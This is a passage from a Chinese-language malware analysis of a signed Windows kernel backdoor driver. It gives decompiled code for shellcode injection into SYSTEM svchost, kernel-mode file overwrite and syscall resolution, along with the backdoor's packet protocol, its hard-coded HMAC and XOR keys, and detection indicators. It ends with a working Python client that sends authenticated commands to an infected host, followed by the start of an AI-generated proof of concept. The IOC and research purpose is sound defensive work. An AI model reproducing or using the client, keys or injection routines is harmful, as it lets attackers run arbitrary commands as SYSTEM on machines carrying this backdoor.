  *(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0;

  // GENERIC_WRITE (0x40000000) | SYNCHRONIZE (0x00100000) = 0x40100000
  // Disposition = 5 = FILE_OVERWRITE_IF
  // Options = 0x20 = FILE_NON_DIRECTORY_FILE
  result = ZwCreateFile(&FileHandle, 0x40100000u, &ObjectAttributes, &IoStatusBlock,
                        0, 0x80u, 0, 5u, 0x20u, 0, 0);
  v6 = result;
  if ( result < 0 )
    return result;

  v7 = a2 - v4 - 2;                                          // 文件内容长度 = 总长 - 2 - 路径长
  if ( v7 )
    v6 = ZwWriteFile(FileHandle, 0, 0, 0, &IoStatusBlock,
                     (PVOID)(a1 + v4 + 2LL), v7, 0, 0);      // 写入文件内容
  ZwClose(FileHandle);
  return v6;
}

Payload 布局:

偏移  长度  字段
0x00  2     path_len (大端)
0x02  N     UTF-8 文件路径
0x02+N  M   文件内容

FILE_OVERWRITE_IF + OBJ_KERNEL_HANDLE 意味着可创建或静默覆写系统保护目录中的文件,绕过用户态 ACL。

7.3 Type 0x03 — ExecuteShellcodeInSvchost (0x140002040)

// ExecuteShellcodeInSvchost(buf, len): finds SYSTEM svchost.exe, KeStackAttachProcess,
// ZwAllocateVirtualMemory(Protect=0x40 PAGE_EXECUTE_READWRITE), memcpy_simd shellcode,
// CreateRemoteThreadInProcess at buffer base. Thread start = anonymous RWX allocation
// (shellcode-injection indicator).
__int64 __fastcall ExecuteShellcodeInSvchost(char *a1, unsigned int a2)
{
  ULONG_PTR v2;
  struct _KPROCESS *v4, *v5;
  __int64 ProcessPeb, v8;
  NTSTATUS v9;
  struct _KAPC_STATE ApcState;
  PVOID BaseAddress;
  ULONG_PTR RegionSize, v13;

  v2 = a2;
  if ( !a1 || !a2 )
    return 0xC000000DLL;                                     // STATUS_INVALID_PARAMETER

  v4 = (struct _KPROCESS *)FindSystemSvchostProcess();
  v5 = v4;
  if ( !v4 )
    return 0xC0000225LL;                                     // STATUS_NOT_FOUND

  KeStackAttachProcess(v4, &ApcState);
  if ( !g_pRtlCreateUserThread ) {
    ProcessPeb = PsGetProcessPeb(v5);
    ResolveZwCreateThreadEx(ProcessPeb);
  }

  RegionSize = v2;
  BaseAddress = 0;
  v8 = v2;
  v9 = ZwAllocateVirtualMemory((HANDLE)-1, &BaseAddress, 0, &RegionSize,
                                0x3000u, 0x40u);             // !!! PAGE_EXECUTE_READWRITE !!!
  if ( v9 >= 0 ) {
    memcpy_simd((char *)BaseAddress, a1, v8);                // 写入 shellcode
    KeUnstackDetachProcess(&ApcState);
    v9 = CreateRemoteThreadInProcess(v5, (__int64)BaseAddress, 0);  // Start=RWX buffer
    if ( v9 >= 0 ) {
LABEL_11:
      ObfDereferenceObject(v5);
      return (unsigned int)v9;
    }
    KeStackAttachProcess(v5, &ApcState);
    v13 = 0;
    ZwFreeVirtualMemory((HANDLE)-1, &BaseAddress, &v13, 0x8000u);
  }
  KeUnstackDetachProcess(&ApcState);
  goto LABEL_11;
}

经典 shellcode 注入特征:

  • PAGE_EXECUTE_READWRITE (0x40) — RWX 内存
  • 线程起始地址位于匿名 RWX 分配 (非镜像)
  • 父进程是 svchost.exe

8. 进程注入辅助函数

8.1 FindSystemSvchostProcess (0x1400023D0)

枚举系统进程,找一个以 SYSTEM 身份运行的 svchost.exe:

// FindSystemSvchostProcess: enumerates SystemProcessInformation.
// For each PID: PsLookupProcessByProcessId, lowercases PsGetProcessImageFileName,
// compares to 'svchost.exe'. Skips PPL (PsIsProtectedProcess).
// PsReferencePrimaryToken -> SeQueryInformationToken(TokenUser). Validates SID:
// IdentifierAuthority=NT (5), SubAuthority[0]=18 => S-1-5-18 (LOCAL_SYSTEM).
// Returns referenced EPROCESS.
PEPROCESS sub_1400023D0()
{
  ULONG v0 = 0x10000;
  int v1 = 0;
  while ( 1 ) {
    ReturnLength = 0;
    PoolWithTag = ExAllocatePoolWithTag(PagedPool, v0, 0x6D57734Bu);  // tag 'mWsK'
    v3 = PoolWithTag;
    if ( !PoolWithTag ) return 0;
    v4 = ZwQuerySystemInformation(SystemProcessInformation, PoolWithTag, v0, &ReturnLength);
    if ( v4 != -1073741820 ) break;                            // STATUS_INFO_LENGTH_MISMATCH
    ExFreePoolWithTag(v3, 0x6D57734Bu);
    if ( ReturnLength <= v0 ) v0 *= 2; else v0 = ReturnLength + 4096;
    if ( ++v1 >= 4 ) return 0;
  }
  if ( v4 < 0 ) { ExFreePoolWithTag(v3, 0x6D57734Bu); return 0; }

  for ( i = v3; ; i = (unsigned int *)((char *)i + v17) ) {
    v7 = (void *)*((_QWORD *)i + 10);                         // UniqueProcessId
    Process = 0;
    if ( v7 && PsLookupProcessByProcessId(v7, &Process) >= 0 ) {
      ProcessImageFileName = PsGetProcessImageFileName(Process);
      if ( ProcessImageFileName ) {
        // case-insensitive compare (lowercase both sides) vs "svchost.exe"
        for ( j = 0; ; ++j ) {
          v10 = *(_BYTE *)(j + ProcessImageFileName);
          v11 = aSvchostExe[j];                               // 'svchost.exe'
          if ( v10 < 65 ) v12 = *(_BYTE *)(j + ProcessImageFileName);
          else {
            v12 = v10 + 32;
            if ( v10 > 90 ) v12 = *(_BYTE *)(j + ProcessImageFileName);
          }
          if ( v12 != v11 ) break;
          if ( !v11 ) {
            // 名字匹配,检查 PPL 保护
            if ( !g_pPsIsProtectedProcess
              || !(unsigned __int8)g_pPsIsProtectedProcess(Process) ) {
              v13 = PsReferencePrimaryToken(Process);
              v14 = v13;
              if ( v13 ) {
                TokenInformation = 0;
                v15 = 0;
                if ( SeQueryInformationToken(v13, TokenUser, &TokenInformation) >= 0
                  && TokenInformation ) {
                  v16 = *(_QWORD *)TokenInformation;          // TOKEN_USER.User
                  // SID: IdentifierAuthority[5]==5 (NT), SubAuthority[0]==18 (SYSTEM)
                  if ( *(_QWORD *)TokenInformation
                    && *(_BYTE *)(v16 + 1) == 1                // Revision
                    && *(_BYTE *)(v16 + 7) == 5                // IdentifierAuthority=NT
                    && *(_DWORD *)(v16 + 8) == 18 )           // SubAuthority[0]=18 (S-1-5-18)
                    v15 = 1;
                  ExFreePoolWithTag(TokenInformation, 0);
                }
                PsDereferencePrimaryToken(v14);
                if ( v15 ) {
                  ExFreePoolWithTag(v3, 0x6D57734Bu);
                  return Process;                             // 返回 SYSTEM svchost EPROCESS
                }
              }
            }
            break;
          }
        }
      }
      ObfDereferenceObject(Process);
    }
    v17 = *i;                                                  // NextEntryOffset
    if ( !(_DWORD)v17 ) break;
  }
  ExFreePoolWithTag(v3, 0x6D57734Bu);
  return 0;
}

精准的目标选择:

  • 跳过 PPL (Protected Process Light),避免触发保护机制
  • 严格校验 S-1-5-18 (LOCAL_SYSTEM),确保获得 SYSTEM 权限
  • 名字小写比较,绕过大小写差异

8.2 ResolveRtlCreateUserThread (0x140001D50)

// ResolveRtlCreateUserThread: MmGetSystemRoutineAddress(L"RtlCreateUserThread")
// and L"PsIsProtectedProcess". If RtlCreateUserThread unavailable, scans
// KiSystemCallStart (msr 0xC0000082) for '4C 8D 15 ?? ?? ?? ??' (LEA r10, KiServiceTable)
// within 0x400 bytes, stores KiServiceTable ptr in g_KiServiceTablePtr for ResolveZwCreateThreadEx.
__int64 sub_140001D50()
{
  unsigned __int64 v0;
  __int64 i;
  struct _UNICODE_STRING DestinationString;

  RtlInitUnicodeString(&DestinationString, L"RtlCreateUserThread");
  g_pRtlCreateUserThread = (__int64)MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"PsIsProtectedProcess");
  g_pPsIsProtectedProcess = (__int64)MmGetSystemRoutineAddress(&DestinationString);
  if ( g_pRtlCreateUserThread )
    return 0;

  // RtlCreateUserThread 未导出 (现代 Windows) -> 扫描 KiSystemCallStart
  v0 = __readmsr(0xC0000082);                                  // LSTAR = KiSystemCallStart
  for ( i = 0; (unsigned int)i < 0x400; i = (unsigned int)(i + 1) ) {
    if ( *(_BYTE *)(i + v0) == 76                              // 0x4C
      && *(_BYTE *)((unsigned int)(i + 1) + v0) == 0x8D        // 0x8D
      && *(_BYTE *)((unsigned int)(i + 2) + v0) == 21 ) {     // 0x15
      // 命中 '4C 8D 15' = LEA r10, [rip+imm32]
      // 目标地址 = imm32 + 当前位置 + 7 (指令长度)
      g_KiServiceTablePtr = *(int *)(i + v0 + 3) + 7LL + i + v0;
      return 0;
    }
  }
  return 0;
}

8.3 ResolveZwCreateThreadEx (0x140002770)

仅在 g_pRtlCreateUserThread == NULL (现代 Windows 未导出) 时调用:

// ResolveZwCreateThreadEx: only if g_pRtlCreateUserThread==NULL (modern Windows).
// Walks attached-process PEB Ldr via FindModuleByUnicodeName(L"ntdll.dll")
// -> FindExportByName('ZwCreateThreadEx'). Validates stub bytes '4C 8B D1 B8'
// (mov r10,rcx; mov eax,SSN). Reads SSN, computes actual KiServiceTable[SSN] address
// via g_KiServiceTablePtr. Stores in g_pZwCreateThreadEx.
void __fastcall ResolveZwCreateThreadEx(__int64 a1)
{
  __int64 v1, v2, v3, v4;

  if ( !g_pZwCreateThreadEx ) {
    v1 = g_KiServiceTablePtr;
    if ( g_KiServiceTablePtr ) {
      v2 = FindModuleByUnicodeName(a1, L"ntdll.dll", 9);
      v3 = FindExportByName(v2, "ZwCreateThreadEx");
      if ( v3 ) {
        // 验证 ntdll!ZwCreateThreadEx stub 模式
        if ( *(_BYTE *)v3 == 76                              // 0x4C: mov r10, rcx
          && *(_BYTE *)(v3 + 1) == 0x8B
          && *(_BYTE *)(v3 + 2) == 0xD1
          && *(_BYTE *)(v3 + 3) == 0xB8 ) {                  // mov eax, SSN
          v4 = *(unsigned int *)(v3 + 4);                    // SSN
          if ( (unsigned int)v4 < *(_DWORD *)(v1 + 16) ) {
            // 计算 KiServiceTable[SSN] 实际地址
            // (SSN 索引处的 int 偏移 >> 4) + ntdll 系统调用存根基址
            g_pZwCreateThreadEx = *(_QWORD *)v1
                                 + ((__int64)*(int *)(*(_QWORD *)v1 + 4 * v4) >> 4);
          }
        }
      }
    }
  }
}

8.4 CreateRemoteThreadInProcess (0x1400025F0)

// CreateRemoteThreadInProcess(Process, StartAddress, Parameter):
// ZwOpenProcess(PROCESS_ALL_ACCESS) via CLIENT_ID{PsGetProcessId, 0}.
// If g_pRtlCreateUserThread exported -> call it (legit user-mode path).
// Else -> g_pZwCreateThreadEx (resolved syscall) with CreateThreadAccess=0x1FFFFF.
NTSTATUS __fastcall CreateRemoteThreadInProcess(struct _KPROCESS *a1, void *a2, void *a3)
{
  NTSTATUS result, v6, v7;
  HANDLE Handle, ProcessHandle = 0;
  struct _CLIENT_ID ClientId;
  struct _OBJECT_ATTRIBUTES ObjectAttributes;

  if ( __PAIR128__((unsigned __int64)g_pRtlCreateUserThread,
                   (unsigned __int64)g_pZwCreateThreadEx) == 0 )
    return 0xC000007A;                                        // STATUS_PROCEDURE_NOT_FOUND

  ClientId.UniqueProcess = PsGetProcessId(a1);
  ClientId.UniqueThread = 0;
  ObjectAttributes.Length = 0x30;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0x200;                       // OBJ_KERNEL_HANDLE
  ObjectAttributes.ObjectName = 0;
  *(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0;
  result = ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);  // PROCESS_ALL_ACCESS
  if ( result < 0 ) return result;

  Handle = 0;
  if ( g_pRtlCreateUserThread )
    // RtlCreateUserThread(ProcessHandle, SecurityDescriptor=0, CreateSuspended=0,
    //                      StackZeroBits=0, StackReserved=0, StackCommit=0,
    //                      StartAddress=a2, Argument=a3, &hThread, ClientId=0)
    v6 = g_pRtlCreateUserThread(ProcessHandle, 0, 0, 0, 0, 0, a2, a3, &Handle, 0);
  else
    // ZwCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, ProcessHandle,
    //                   StartAddress=a2, Argument=a3, 0, 0, 0, 0, 0)
    v6 = g_pZwCreateThreadEx(&Handle, 0x1FFFFF, 0, ProcessHandle, a2, a3, 0, 0, 0, 0, 0);

  v7 = v6;
  if ( v6 >= 0 && Handle ) ZwClose(Handle);
  ZwClose(ProcessHandle);
  return v7;
}

8.5 FindModuleByUnicodeName (0x1400021B0) & FindExportByName (0x1400022C0)

FindModuleByUnicodeName 走 PEB Ldr InLoadOrderModuleList,对 BaseDllName 做大小写不敏感匹配,最多扫 0x200 个条目;返回 DllBase

FindExportByName 解析 PE 头 (校验 MZ/PE),根据 PE32 (0x78) 或 PE32+ (0x88) 的 optional header 偏移定位 IMAGE_EXPORT_DIRECTORY,遍历 AddressOfNames 进行 ASCII 字符串匹配;返回导出函数地址 (跳过 forwarder)。

两者是经典的 PE 解析辅助例程,源码见附录 B。


9. 密码学设计

9.1 HMAC-SHA256 验证 (0x140001BF0)

// VerifyHmacSha256(cmd_type, payload, payload_len, expected_tag):
// BCryptCreateHash with g_HmacSha256Key (32B secret, BCRYPT_HMAC).
// Hashes [1B cmd_type || payload] then BCryptFinishHash -> 32B digest.
// SIMD XOR/OR reduction compares digest vs expected_tag; returns true iff all 32 bytes match.
bool __fastcall VerifyHmacSha256(UCHAR a1, UCHAR *a2, ULONG a3, const __m128i *a4)
{
  bool v7;
  __m128 v8, v9, v10, v11;
  UCHAR pbOutput[16];
  __int128i v14[2];
  UCHAR pbInput;
  BCRYPT_HASH_HANDLE hHash;

  pbInput = a1;                                               // 1B cmd_type
  hHash = 0;
  // 用 g_HmacSha256Key (32B) 作为 HMAC 密钥
  if ( !a2 || !a4 || !g_hSha256Algorithm
      || BCryptCreateHash(g_hSha256Algorithm, &hHash, 0, 0,
                          g_HmacSha256Key, 0x20u, 0) < 0 )
    return 0;
  v7 = 0;
  if ( BCryptHashData(hHash, &pbInput, 1u, 0) >= 0            // 喂 cmd_type
    && BCryptHashData(hHash, a2, a3, 0) >= 0                   // 喂加密 payload
    && BCryptFinishHash(hHash, pbOutput, 0x20u, 0) >= 0 ) {   // 输出 32B HMAC
    // 常时比较: XOR digest 与期望 tag,SIMD 折叠为单字节
    v8 = _mm_or_ps(
           _mm_xor_ps((__m128)_mm_loadu_si128(a4 + 1), (__m128)_mm_loadu_si128(v14)),
           _mm_xor_ps((__m128)_mm_loadu_si128(a4), (__m128)_mm_loadu_si128((const __m128i *)pbOutput)));
    v9 = _mm_or_ps(v8, (__m128)_mm_srli_si128((__m128i)v8, 8));
    v10 = _mm_or_ps(v9, (__m128)_mm_srli_si128((__m128i)v9, 4));
    v11 = _mm_or_ps(v10, (__m128)_mm_srli_si128((__m128i)v10, 2));
    v7 = (unsigned __int8)_mm_cvtsi128_si32((__m128i)_mm_or_ps(v11, (__m128)_mm_srli_si128((__m128i)v11, 1))) == 0;
  }
  BCryptDestroyHash(hHash);
  return v7;
}

关键点:

  • HMAC 输入是 [1B cmd_type || encrypted_payload] (注意:在 XOR 解密之前计算,即对密文做 HMAC)
  • 用 SIMD 折叠实现常时比较 (避免侧信道)
  • OpenSha256Provider 用 flag 8 (=BCRYPT_ALG_HANDLE_HMAC_FLAG) 打开 SHA256,启用了 HMAC 模式

9.2 XOR 旋转加密

WorkerRoutine 中的解密循环:

for ( i = 0; i < payload_len; ++i )
    payload[i] ^= g_XorCipherTable[i & 0x1F];     // 32 字节循环

32 字节 XOR 表 (0x140005470):

D2 47 8A 1E F3 6B C0 95 54 29 E7 3D 81 AF 66 0C
B8 72 1F E4 43 9D 5E 28 A6 0D 73 C9 3B 84 F1 52

9.3 HMAC-SHA256 密钥

32 字节密钥 (0x140005558):

A3 91 5B D7 0E 62 C4 88 3F 1A 7D E6 50 B9 2C F5
6E 83 47 DA 15 AC 79 0B C1 58 34 EF 96 2D 4A 71

这两个 32 字节常量是后门的全部密码学材料。一旦泄露,任何人都可以构造合法的指令包,因此它们也是该后门的最强 IOC 之一。


10. 检测指标 (基于反编译)

类别 指标 反编译依据
样本标识 SHA-256 495c7e5513...db691979 (元信息)
文件名 wskmon.sys DriverEntry 中 \\Device\\WskMon
编译时间戳 0x69D10C8F (2026-04-04) (PE header)
签名主体 深圳市奥联信息安全技术有限公司 (Authenticode)
内存分配 Tag 'mWsK' (0x6D57734B) — 所有 ExAllocatePoolWithTag 都用此 tag classifyFn、WorkerRoutine、FindSystemSvchostProcess
WFP 资源名 WskMon Sub / WskMon Callout / WskMon Filter WfpRegisterStreamCallout
WFP GUID {A1B2C3D4-E5F6-7890-ABCD-EF1234567890} (sublayer) 等 4 个手工构造 GUID 0x1400053F0..0x140005420
网络协议 Magic 7F 4E 54 46 (\x7FNTF) — 出现在裸 TCP 或 HTTP POST body 内 classifyFn 0x1400014cc0x1400015b1
HMAC-SHA256 + 大端 4 字节长度 + XOR 密文 classifyFn 0x14000164a、WorkerRoutine XOR 循环
池内存密钥 HMAC A3 91 5B D7 ... 96 2D 4A 71 (32B) g_HmacSha256Key @ 0x140005558
XOR D2 47 8A 1E ... 3B 84 F1 52 (32B) g_XorCipherTable @ 0x140005470
行为 svchost.exe 子进程为 cmd.exe /c ... ExecuteShellCmdInSvchost 中 strcpy(v19, "cmd.exe /c ")
SYSTEM svchost 内分配 RWX (PAGE_EXECUTE_READWRITE=0x40) 并启动线程 ExecuteShellcodeInSvchost 0x1400020fb
内核态 ZwCreateFile(FILE_OVERWRITE_IF) 写入 \??\ 前缀路径 WriteFileFromKernel
线程起始地址在非镜像 RWX 分配 CreateRemoteThreadInProcess
静态字节签名 4C 8D 15 (扫描 KiServiceTable) + 'mWsK' (pool tag) ResolveRtlCreateUserThread

YARA 风格字符串 (来自二进制):

"\\Device\\WskMon"
"WskMon Sub" / "WskMon Callout" / "WskMon Filter"
"svchost.exe" / "cmd.exe /c " / "kernel32.dll" / "WinExec" / "ntdll.dll"
"ZwCreateThreadEx" / "RtlCreateUserThread" / "PsIsProtectedProcess"
"SHA256" (BCryptOpenAlgorithmProvider)
A3 91 5B D7 0E 62 C4 88 3F 1A 7D E6 50 B9 2C F5 6E 83 47 DA 15 AC 79 0B C1 58 34 EF 96 2D 4A 71  (HMAC key)
D2 47 8A 1E F3 6B C0 95 54 29 E7 3D 81 AF 66 0C B8 72 1F E4 43 9D 5E 28 A6 0D 73 C9 3B 84 F1 52  (XOR key)

11. 与参考文章的对照

文章论断 反编译佐证 一致性
WHQL 签名、深圳市奥联、SHA-256 (元信息)
无 IOCTL、无用户态代理 DriverIrpStub 全 no-op;MajorFunction[*] = DriverIrpStub
WFP stream callout (FwpsCalloutRegister1) WfpRegisterStreamCalloutcallout.classifyFn = classifyFn_1400013A0; FwpsCalloutRegister1(...)
Magic 7F 4E 54 46 (\x7FNTF) classifyFn 0x1400014cc & 0x1400015b1 的逐字节比较
HTTP POST body 内嵌 magic (扫前 0x400 字节) classifyFn v16 = 0x400; FwpsCopyStreamDataToBuffer0(v8, v37, v16, ...)
cmd_type 1=shell / 2=file / 3=shellcode WorkerRoutine if (v38==1)...else if (v14==2)...else if (v14==3)
32B HMAC-SHA256 在 offset 0x05 classifyFn v18[v36 + 5] 复制到 Context[0x09],长度 32
4B 大端长度在 offset 0x25 classifyFn 0x14000164a 读取 v18[v36 + 0x25..0x28]
payload 从 0x29 开始 v14 = v13 + 0x29 (头部总长)
shell 上限 0x1000,其他 ~10MB classifyFn if (v38 == 1) v20 = 0x1000; else v20 = 0xA00000
旋转 XOR 密码 WorkerRoutine *v8 ^= g_XorCipherTable[v9]; v9 = i & 0x1F
256 位 HMAC 密钥嵌入驱动 g_HmacSha256Key (32B @ 0x140005558)
Type 1 注入 SYSTEM svchost + cmd.exe /c FindSystemSvchostProcess + strcpy(v19, "cmd.exe /c ")
Type 2 任意路径覆写 (FILE_OVERWRITE_IF) WriteFileFromKernel Disposition=5
文件 payload: 2B BE path_len + UTF-8 + 内容 WriteFileFromKernel _byteswap_ushort(*(WORD*)a1)
运行在 Session 0 (无可见窗口) (运行时行为,由 SYSTEM svchost 注入间接保证)
KeStackAttachProcess / RtlCreateUserThread ExecuteShellCmdInSvchost & CreateRemoteThreadInProcess
RWX 内存执行 shellcode ExecuteShellcodeInSvchost Protect=0x40
Python http.server 演示中数据被吞 classifyFn 返回 0x1001 并清 FWPS_RIGHT_ACTION_WRITE

文章未提及但反编译揭示的细节:

  1. Pool tag 'mWsK' (0x6D57734B) — 出现在所有 ExAllocatePoolWithTag 调用中
  2. PPL 检查 — 主动跳过受保护进程,避免触发 PatchGuard
  3. 常时 HMAC 比较 — 用 SIMD XOR+OR 折叠实现,避免侧信道
  4. ZwCreateThreadEx syscall 解析 — 现代 Windows 不导出 RtlCreateUserThread,作者通过扫描 KiSystemCallStart (msr 0xC0000082) 中的 4C 8D 15 指令定位 KiServiceTable,再结合 ntdll stub 中的 SSN 计算 ZwCreateThreadEx 实际地址
  5. 数据流方向过滤(v8->flags & 1) == 0 时直接放行 (非接收方向不处理)
  6. 流终止处理v8->flags & 0xC 检查 FIN/RST 类标志,决定是否请求更多数据
  7. 会话动态标志session.flags = 1 (FWPM_SESSION_FLAG_DYNAMIC) — 卸载时自动清理 filter

12. 附录 A:完整重命名函数清单 (已应用到 IDB)

0x140001000  DriverIrpStub                 (no-op IRP handler)
0x140001030  DriverEntry                   (entry, 已有)
0x1400011C0  DriverUnloadRoutine           (unload)
0x140001210  WorkerRoutine                 (已有, command dispatcher)
0x1400013A0  classifyFn_1400013A0          (已有, WFP stream classify)
0x140001880  notifyFn_140001880            (已有, no-op)
0x140001890  WfpRegisterStreamCallout      (register callout/sublayer/filter)
0x140001B20  WfpUnregisterCallout
0x140001BA0  OpenSha256Provider            (BCryptOpenAlgorithmProvider SHA256-HMAC)
0x140001BC0  CloseSha256Provider
0x140001BF0  VerifyHmacSha256             (HMAC verification w/ constant-time compare)
0x140001D50  ResolveRtlCreateUserThread   (MmGetSystemRoutineAddress + KiServiceTable scan)
0x140001E10  ExecuteShellCmdInSvchost      (Type 1: cmd.exe /c injection)
0x140002040  ExecuteShellcodeInSvchost      (Type 3: RWX shellcode injection)
0x1400021B0  FindModuleByUnicodeName        (PEB Ldr lookup)
0x1400022C0  FindExportByName              (PE export parser)
0x1400023D0  FindSystemSvchostProcess      (find SYSTEM svchost.exe, skip PPL)
0x1400025F0  CreateRemoteThreadInProcess   (RtlCreateUserThread / ZwCreateThreadEx)
0x140002770  ResolveZwCreateThreadEx       (resolve syscall via ntdll + KiServiceTable)
0x1400027F0  WriteFileFromKernel            (Type 2: arbitrary file write)
0x140002B80  memcpy_simd
0x140003040  memset_aligned
0x140003180  memset_large
0x1400031C0  memset_aligned_v2
0x140004010  memset_thunk

13. 附录 B:辅助函数反编译 (PEB/PE 解析)

13.1 FindModuleByUnicodeName (0x1400021B0)

// FindModuleByUnicodeName(PEB, name_w, name_chars): walks PEB->Ldr->InLoadOrderModuleList
// (max 0x200 entries). Case-insensitive compare of BaseDllName. Returns DllBase.
__int64 __fastcall FindModuleByUnicodeName(__int64 a1, __int64 a2, unsigned __int16 a3)
{
  __int64 result, *v6, *v8;
  int v7, v9;
  __int64 v10, v14;
  unsigned __int16 i, v12, v13;

  if ( !a1 ) return 0;
  result = *(_QWORD *)(a1 + 0x18);                    // PEB->Ldr (PEB_LDR_DATA*)
  if ( !result ) return result;
  v6 = (__int64 *)(result + 0x10);                   // &InLoadOrderModuleList
  v7 = 0x200;                                         // 最多扫描 512 个
  v8 = *(__int64 **)(result + 0x10);                 // FirstEntry

  while ( v8 != v6 ) {
    v9 = v7--;
    if ( v9 <= 0 ) break;
    v10 = v8[0xC];                                    // BaseDllName.Buffer
    if ( v10 && *((_WORD *)v8 + 0x2C) >> 1 == a3 ) {  // BaseDllName.Length/2 == a3
      for ( i = 0; i < a3; ++i ) {
        v12 = *(_WORD *)(v10 + 2LL * i);
        v13 = *(_WORD *)(a2 + 2LL * i);
        if ( v12 >= 0x41u && v12 <= 0x5Au ) v12 += 0x20;  // 大写转小写
        if ( v13 >= 0x41u && v13 <= 0x5Au ) v13 += 0x20;
        if ( v12 != v13 ) {
          v8 = (__int64 *)*v8;                        // NextEntry
          goto next;
        }
      }
      return v8[6];                                   // DllBase
    }
next:
    v8 = (__int64 *)*v8;
  }
  return 0;
}

13.2 FindExportByName (0x1400022C0)

// FindExportByName(DllBase, name): parses PE headers (MZ/PE check),
// handles PE32 (0x78) and PE32+ (0x88) optional header. Walks AddressOfNames
// for ASCII match. Returns function address (skips forwarders).
__int64 __fastcall FindExportByName(__int64 a1, _BYTE *a2)
{
  __int64 v4, v5, v6;
  int v7, v8;
  _BYTE *v9, *v10;
  __int64 v11;

  if ( !a1 ) return 0;
  if ( *(_WORD *)a1 != 0x5A4D ) return 0;             // 'MZ'
  v4 = a1 + *(int *)(a1 + 0x3C);                      // e_lfanew
  if ( *(_DWORD *)v4 != 0x4550 ) return 0;            // 'PE'
  v5 = 0x78;                                          // PE32 export dir offset
  if ( *(_WORD *)(v4 + 0x18) == 0x20B ) v5 = 0x88;    // PE32+ magic
  v6 = *(unsigned int *)(v5 + v4);                    // ExportDirectory RVA
  if ( !(_DWORD)v6 ) return 0;
  v7 = *(_DWORD *)(v5 + v4 + 4);                      // ExportDirectory Size

  for ( v8 = 0; ; v8 = (unsigned int)(v8 + 1) ) {
    if ( (unsigned int)v8 >= *(_DWORD *)(v6 + a1 + 0x18) )  // NumberOfNames
      return 0;
    v9 = a2;
    v10 = (_BYTE *)(a1 + *(unsigned int *)(a1 + *(unsigned int *)(v6 + a1 + 0x20) + 4 * v8));  // Name RVA
    // 字符串匹配
    while ( *v9 ) {
      if ( *v9 != *v10 ) break;
      ++v9; ++v10;
    }
    if ( !*v10 ) {                                    // 完整匹配
      v11 = *(unsigned int *)(a1
              + *(unsigned int *)(v6 + a1 + 0x1C)     // AddressOfFunctions
              + 4LL * *(unsigned __int16 *)(a1 + *(unsigned int *)(v6 + a1 + 0x24) + 2 * v8));  // AddressOfNameOrdinals[v8]
      if ( (unsigned int)v11 < (unsigned int)v6
        || (unsigned int)v11 >= v7 + (int)v6 )        // 非导出转发
        return a1 + v11;
      else
        return 0;                                    // forwarder, 跳过
    }
  }
}

14. 结论

wskmon.sys 是一个高度工程化的内核后门:

  1. 零用户态足迹 — 全部 27 个 IRP 主功能号都指向 no-op stub,没有 IOCTL/read/write 攻击面
  2. 网络协议自包含\x7FNTF 协议封装 magic / cmd_type / HMAC / length / 密文,支持裸 TCP 与 HTTP POST 隐藏两种通道
  3. 认证 + 加密双保险 — HMAC-SHA256 (密钥硬编码) 防止未授权指令,旋转 XOR 防止流量特征分析
  4. 三种命令能力 — 命令执行 (Session 0 SYSTEM)、任意路径文件覆写、RWX shellcode 注入
  5. 现代 Windows 兼容 — 主动解析 ZwCreateThreadEx 系统调用地址 (通过扫描 KiSystemCallStart 与 ntdll stub),绕过 RtlCreateUserThread 不再导出的限制
  6. 检测规避意识 — 跳过 PPL 进程、常时 HMAC 比较、动态 WFP 会话标志 (卸载自动清理)

但同时也留下了大量可检测指标:手工构造的 WFP GUID、'mWsK' pool tag、\x7FNTF magic、32B HMAC/XOR 常量、svchost.exe 子进程 cmd.exe /c ...、SYSTEM 进程内 RWX 内存 + 匿名线程起始地址等,均为高信度 IOC。

本次分析已完成 IDA 数据库的重命名与注释 (*.i64 已保存),可作为后续防御规则开发与狩猎 (hunting) 的依据。

py

https://gist.github.com/pierrehpezier/fe1977d390a45e64d522e657fb8d3640

#!/usr/bin/env python3
import socket
import hashlib
import hmac
import sys

HOST = '192.168.56.115'
PORT = 8000

HMAC_KEY = bytes.fromhex('a3915bd70e62c4883f1a7de650b92cf56e8347da15ac790bc15834ef962d4a71')
XOR_KEY  = bytes.fromhex('d2478a1ef36bc09554 29e73d81af660cb8721fe4439d5e28a60d73c93b84f152')

def build_ntf_payload(command: bytes) -> bytes:
    encrypted = bytes(c ^ XOR_KEY[i % 32] for i, c in enumerate(command))
    h = hmac.new(HMAC_KEY, digestmod=hashlib.sha256)
    h.update(b'\x01')
    h.update(encrypted)
    mac = h.digest()
    magic   = bytes.fromhex('7f4e5446')
    version = b'\x01'
    size    = len(encrypted).to_bytes(4, 'big')
    return magic + version + mac + size + encrypted

def send_http_post(ntf_payload: bytes):
    http_request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {len(ntf_payload)}\r\n"
        f"\r\n"
    ).encode() + ntf_payload

    print(f"Command:     {command}")
    print(f"NTF payload: {ntf_payload.hex()}")
    print(f"HTTP body:   POST / HTTP/1.1 ... ({len(http_request)} bytes total)")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))
    sock.sendall(http_request)
    sock.close()
    print(f"✓ Sent to {HOST}:{PORT}")

if __name__ == "__main__":
    command = sys.argv[1].encode() if len(sys.argv) > 1 else b"calc.exe"
    ntf_payload = build_ntf_payload(command)
    send_http_post(ntf_payload)

AI生成的完整poc

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
wskmon.sys WFP 后门 PoC 客户端 — 用于验证逆向分析结果
======================================================

参考:
  - 反编译分析文档: wskmon_analysis.md
  - 参考实现: gistfile1.txt (Nextron Systems 公开,仅 Type 1)
  - 目标驱动: 495c7e5513fa7766c236e76d8520139139fc4ad7203ddcb2ccdae17bdb691979.sys

协议格式 (反编译自 classifyFn_1400013A0 / WorkerRoutine):
  偏移  长度  字段
  0x00  4     Magic: 7F 4E 54 46 ("\x7FNTF")
  0x04  1     cmd_type ∈ {0x01=shell, 0x02=file_write, 0x03=shellcode}
  0x05  32    HMAC-SHA256 tag (覆盖 [cmd_type(1B) || encrypted_payload])
  0x25  4     payload length (大端)
  0x29  N     XOR 加密 payload (key 32B 循环: payload[i] ^= XOR_KEY[i & 0x1F])

